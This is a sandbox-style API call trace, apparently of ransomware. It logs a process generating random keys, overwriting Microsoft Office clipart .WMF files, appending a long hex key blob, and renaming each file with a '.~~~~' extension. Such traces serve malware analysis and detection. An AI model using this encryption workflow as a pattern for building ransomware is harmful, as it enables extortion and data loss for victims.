	[0090.299] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21028954085) returned 1
	[0090.299] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9f98a870, dwHighDateTime=0x1d60e1e)) 
	[0090.300] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0090.300] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0090.300] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0090.300] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3803f8
	[0090.300] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.300] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3803f8 | out: hHeap=0x300000) returned 1
	[0090.300] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.300] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.300] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0090.300] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.300] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28701d0
	[0090.300] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.300] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0090.300] GetLastError () returned 0x0
	[0090.300] GetLastError () returned 0x0
	[0090.300] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0090.301] GetLastError () returned 0x0
	[0090.301] GetLastError () returned 0x0
	[0090.326] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xfffff67c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.326] WriteFile (in: hFile=0x12c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x24dfec0*=0x984, lpOverlapped=0x0) returned 1
	[0090.327] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0090.327] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.327] WriteFile (in: hFile=0x12c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.327] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.327] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.327] CloseHandle (hObject=0x12c) returned 1
	[0090.327] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0090.327] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf.~~~~")) returned 1
	[0090.328] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.328] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0090.328] GetLastError () returned 0x0
	[0090.347] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394970) returned 1
	[0090.348] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.348] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0090.348] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.348] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0090.348] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0090.348] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21033861009) returned 1
	[0090.349] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9fa22df0, dwHighDateTime=0x1d60e1e)) 
	[0090.349] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0090.349] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0090.349] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0090.349] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3804a0
	[0090.349] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.349] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3804a0 | out: hHeap=0x300000) returned 1
	[0090.349] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.349] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.349] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0090.349] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.349] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870138
	[0090.349] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.349] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0090.350] GetLastError () returned 0x0
	[0090.350] GetLastError () returned 0x0
	[0090.350] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0090.350] GetLastError () returned 0x0
	[0090.350] GetLastError () returned 0x0
	[0090.376] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffffe3f8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.376] WriteFile (in: hFile=0x12c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x1c08, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x24dfec0*=0x1c08, lpOverlapped=0x0) returned 1
	[0090.377] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0090.377] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.377] WriteFile (in: hFile=0x12c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.377] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.377] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.377] CloseHandle (hObject=0x12c) returned 1
	[0090.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0090.377] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf.~~~~")) returned 1
	[0090.378] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.378] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0090.379] GetLastError () returned 0x0
	[0090.379] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394970) returned 1
	[0090.380] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.380] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0090.381] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0090.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0090.381] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21037087489) returned 1
	[0090.381] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9fa6f0b0, dwHighDateTime=0x1d60e1e)) 
	[0090.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0090.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0090.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0090.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2100
	[0090.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.381] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2100 | out: hHeap=0x300000) returned 1
	[0090.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.381] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.382] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0090.382] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.382] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28704c8
	[0090.382] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.382] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0090.382] GetLastError () returned 0x0
	[0090.383] GetLastError () returned 0x0
	[0090.383] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0090.383] GetLastError () returned 0x0
	[0090.383] GetLastError () returned 0x0
	[0090.418] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xfffff094, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.418] WriteFile (in: hFile=0x12c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0xf6c, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x24dfec0*=0xf6c, lpOverlapped=0x0) returned 1
	[0090.418] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0090.418] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.418] WriteFile (in: hFile=0x12c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.419] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.419] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.419] CloseHandle (hObject=0x12c) returned 1
	[0090.419] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0090.419] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf.~~~~")) returned 1
	[0090.419] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.419] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0090.420] GetLastError () returned 0x0
	[0090.425] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394970) returned 1
	[0090.425] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.425] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0090.426] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0090.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0090.426] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21041575254) returned 1
	[0090.426] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9fabb370, dwHighDateTime=0x1d60e1e)) 
	[0090.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0090.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0090.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0090.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x380580
	[0090.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.426] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x380580 | out: hHeap=0x300000) returned 1
	[0090.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.426] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0090.426] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28705f8
	[0090.427] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.427] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0090.427] GetLastError () returned 0x0
	[0090.427] GetLastError () returned 0x0
	[0090.427] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0090.427] GetLastError () returned 0x0
	[0090.427] GetLastError () returned 0x0
	[0090.455] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff214, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.455] WriteFile (in: hFile=0x128, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0xdec, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x24dfec0*=0xdec, lpOverlapped=0x0) returned 1
	[0090.456] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0090.456] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.456] WriteFile (in: hFile=0x128, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.456] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.456] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.456] CloseHandle (hObject=0x128) returned 1
	[0090.457] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870988
	[0090.457] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf.~~~~")) returned 1
	[0090.548] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2870988 | out: hHeap=0x300000) returned 1
	[0090.548] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0090.548] GetLastError () returned 0x0
	[0090.600] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x28d6b40) returned 1
	[0090.601] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.601] CryptReleaseContext (hProv=0x28d6b40, dwFlags=0x0) returned 1
	[0090.601] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0090.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0090.601] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21059108881) returned 1
	[0090.601] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9fc843f0, dwHighDateTime=0x1d60e1e)) 
	[0090.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0090.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0090.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0090.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac5b8
	[0090.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.601] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac5b8 | out: hHeap=0x300000) returned 1
	[0090.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.601] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0090.601] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28705f8
	[0090.601] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.601] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0090.602] GetLastError () returned 0x0
	[0090.602] GetLastError () returned 0x0
	[0090.602] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0090.602] GetLastError () returned 0x0
	[0090.602] GetLastError () returned 0x0
	[0090.689] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffd7aa, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.689] WriteFile (in: hFile=0x128, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x2856, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x24dfec0*=0x2856, lpOverlapped=0x0) returned 1
	[0090.690] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0090.694] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.694] WriteFile (in: hFile=0x128, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.694] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.694] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.694] CloseHandle (hObject=0x128) returned 1
	[0090.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870988
	[0090.695] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf.~~~~")) returned 1
	[0090.696] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2870988 | out: hHeap=0x300000) returned 1
	[0090.696] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0090.696] GetLastError () returned 0x0
	[0090.697] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x28d6128) returned 1
	[0090.698] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
